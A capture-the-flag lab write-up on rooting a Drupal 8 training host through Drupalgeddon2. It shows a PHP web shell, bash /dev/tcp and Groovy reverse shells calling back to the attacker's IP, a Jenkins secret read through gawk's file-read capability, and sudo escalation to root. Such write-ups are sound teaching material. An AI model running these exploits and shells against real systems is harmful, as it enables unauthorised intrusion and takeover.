xsspresso
xsspresso
WriteupsVHL — CMS02
WebMediumLinux

VHL — CMS02

Drupal 8 on CentOS. Exploited Drupalgeddon2 (CVE-2018-7600) for unauthenticated RCE and escalated privileges via SUID binary.

February 11, 2025Virtual Hacking Labs
#Drupal#Drupalgeddon2#CVE-2018-7600#RCE

nmap

sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.11.1.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-11 14:36 EST
Nmap scan report for 10.11.1.35
Host is up (0.022s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 09:e1:71:37:f6:85:ca:f0:4d:87:6d:b4:f7:00:bf:0f (RSA)
|   256 51:a9:d7:0f:4a:bb:8b:9b:0a:4e:1b:4b:9e:78:b5:95 (ECDSA)
|_  256 2d:10:2a:67:35:4a:3c:ff:59:e5:e7:40:69:f8:b4:b4 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/7.3.33)
|_http-generator: Drupal 8 (https://www.drupal.org)
|_http-title: Home | CMS02
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.33
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/ 
| /comment/reply/ /filter/tips/ /node/add/ /search/ /user/register/ 
| /user/password/ /user/login/ /user/logout/ /index.php/admin/ 
|_/index.php/comment/reply/
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.45.v20220203
|_http-server-header: Jetty(9.4.45.v20220203)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/11%OT=22%CT=1%CU=40304%PV=Y%DS=2%DC=I%G=Y%TM=67AB
OS:A6CE%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%TS=A)SEQ(SP=103
OS:%GCD=1%ISR=10A%TI=Z%TS=A)SEQ(SP=103%GCD=2%ISR=10A%TI=Z%TS=A)SEQ(SP=104%G
OS:CD=1%ISR=10A%TI=Z%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7
OS:%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W
OS:4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(
OS:R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN
OS:=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
 
Network Distance: 2 hops
 
TRACEROUTE
HOP RTT      ADDRESS
1   22.10 ms 10.11.1.35
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.16 seconds
sh
 

80

sh
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/7.3.33)
|_http-generator: Drupal 8 (https://www.drupal.org)
|_http-title: Home | CMS02
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.33
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/ 
| /comment/reply/ /filter/tips/ /node/add/ /search/ /user/register/ 
| /user/password/ /user/login/ /user/logout/ /index.php/admin/ 
|_/index.php/comment/reply

whatweb

  • identified Drupal 8
sh
whatweb http://10.11.1.35/       
 
http://10.11.1.35/ [200 OK] Apache[2.4.6], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/7.3.33], IP[10.11.1.35], MetaGenerator[Drupal 8 (https://www.drupal.org)], PHP[7.3.33], Script, Title[Home | CMS02], UncommonHeaders[x-content-type-options,x-drupal-dynamic-cache,x-generator,x-drupal-cache], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/7.3.33], X-UA-Compatible[IE=edge]

droopescan

sh
droopescan scan drupal -u http://10.11.1.35
 
[+] No plugins found.                                                           
 
[+] No themes found.
 
[+] Possible version(s):
    8.5.0
    8.5.0-rc1
    8.5.1
    8.5.2
    8.5.3
    8.5.4
    8.5.5
    8.5.6
 
[+] Possible interesting urls found:
    Default admin - http://10.11.1.35/user/login
 
[+] Scan finished (0:02:19.542006 elapsed)

druppalgeddon2

  • look source in github and look where you can find CHANGELOG.txt

Drupal 8

  • searching for drupal 8 exploit
  • came across this https://github.com/a2u/CVE-2018-7600/
  • managed to get RCE
sh
python3 exploit.py
################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes
 
Enter target url (example: https://domain.ltd/): http://10.11.1.35/
 
Check: http://10.11.1.35/hello.txt

metasploit

sh
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options
 
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
 
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       10.11.1.35       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
                                           html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host
 
 
Payload options (php/meterpreter/reverse_tcp):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.1.2       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)
sh
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
 
[*] Started reverse TCP handler on 172.16.1.2:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (40004 bytes) to 10.11.1.35
[*] Meterpreter session 1 opened (172.16.1.2:4444 -> 10.11.1.35:52752) at 2025-02-11 15:22:33 -0500
 
meterpreter > getuid
Server username: apache

w/o metasploit

  • https://github.com/dreadlocked/Drupalgeddon2
sh
./drupalgeddon2.rb http://10.11.1.35
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.11.1.35/
--------------------------------------------------------------------------------
[+] Header : v8 [X-Generator]
[!] MISSING: http://10.11.1.35/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://10.11.1.35/core/CHANGELOG.txt    (HTTP Response: 200)
[!] MISSING: http://10.11.1.35/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Header : v8 [X-Generator]
[!] MISSING: http://10.11.1.35/includes/bootstrap.inc    (HTTP Response: 404)
[!] MISSING: http://10.11.1.35/core/includes/bootstrap.inc    (HTTP Response: 403)
[!] MISSING: http://10.11.1.35/includes/database.inc    (HTTP Response: 404)
[+] Found  : http://10.11.1.35/    (HTTP Response: 200)
[+] Metatag: v8.x [Generator]
[!] MISSING: http://10.11.1.35/    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Form   (user/register)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: mail)
[i] Payload: echo LOBNWWIP
[+] Result : LOBNWWIP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.11.1.35/shell.php)
[i] Response: HTTP 404 // Size: 16
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.11.1.35/shell.php' -d 'c=hostname'
localhost.localdomain>> whoami
apache

reverse shell

sh
localhost.localdomain>> bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.1.2%2F1234%200%3E%261
sh
nc -lnvp 1234
listening on [any] 1234 ...
connect to [172.16.1.2] from (UNKNOWN) [10.11.1.35] 34072
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache

8080

sh
8080/tcp open  http    Jetty 9.4.45.v20220203
|_http-server-header: Jetty(9.4.45.v20220203)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/

priv esc

linpeas

sh
╔══════════╣ Sudo version
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.23
sh
╔══════════╣ Active Ports
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -  
sh
╔══════════╣ Analyzing Drupal Files (limit 70)
-r-xr-xr-x. 1 apache apache 32096 Jul  8  2022 /var/www/html/sites/default/settings.php
 *   'database' => 'databasename',
 *   'username' => 'sqlusername',
 *   'password' => 'sqlpassword',
 *   'host' => 'localhost',
 *   'port' => '3306',
 *   'driver' => 'mysql',
 *   'prefix' => '',
 * by using the 'prefix' setting. If a prefix is specified, the table
 * To have all database names prefixed, set 'prefix' as a string:
 *   'prefix' => 'main_',
 * To provide prefixes for specific tables, set 'prefix' as an array.
 *   'prefix' => array(
 *   'prefix' => array(
 *     'driver' => 'pgsql',
 *     'database' => 'databasename',
 *     'username' => 'sqlusername',
 *     'password' => 'sqlpassword',
 *     'host' => 'localhost',
 *     'prefix' => '',
 *     'driver' => 'sqlite',
 *     'database' => '/path/to/databasefilename',
  'database' => 'drupal',
  'username' => 'drupal',
  'password' => 'Str0ngDrupaLP4SS',
  'prefix' => '',
  'host' => 'localhost',
  'port' => '3306',
  'driver' => 'mysql',
sh
╔══════════╣ Searching passwords in config PHP files
  'password' => 'Str0ngDrupaLP4SS',
 *     'password' => 'sqlpassword',
 *   'password' => 'sqlpassword',
 

capabilities (gawk)

sh
Files with capabilities (limited to 50):
/usr/bin/gawk = cap_dac_read_search+ep
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/suexec = cap_setgid,cap_setuid+ep

When any program has cap_dac_read_search capabilities in an effective set, that means it can read any file or perform any executable permission on the directories. The program can not create any file in the directory or modify an existing file because it requires to write permission which is not provided in this capability

reading jenkins initialAdminPassword

sh
bash-4.2$ LFILE=/var/lib/jenkins/secrets/initialAdminPassword
bash-4.2$ /usr/bin/gawk '//' "$LFILE"
/usr/bin/gawk '//' "$LFILE"
dda5aebf...
  • enter the initialAdminPassword
  • skip configuration

  • groovy reverse shell
sh
nc -lnvp 1235
listening on [any] 1235 ...
connect to [172.16.1.2] from (UNKNOWN) [10.11.1.35] 50024
whoami
jenkins
sh
python -c 'import pty; pty.spawn("/bin/bash")'

sudo

sh
bash-4.2$ sudo -l
sudo -l
Matching Defaults entries for jenkins on localhost:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
 
User jenkins may run the following commands on localhost:
    (ALL) NOPASSWD: ALL
bash-4.2$ sudo su
sudo su
[root@localhost jenkins]# whoami
whoami
root
[root@localhost jenkins]# cat /root/key.txt
cat /root/key.txt
gh3f9y23jnkl8sdfmb43
[root@localhost jenkins]# date
date
Tue Feb 11 17:19:59 EST 2025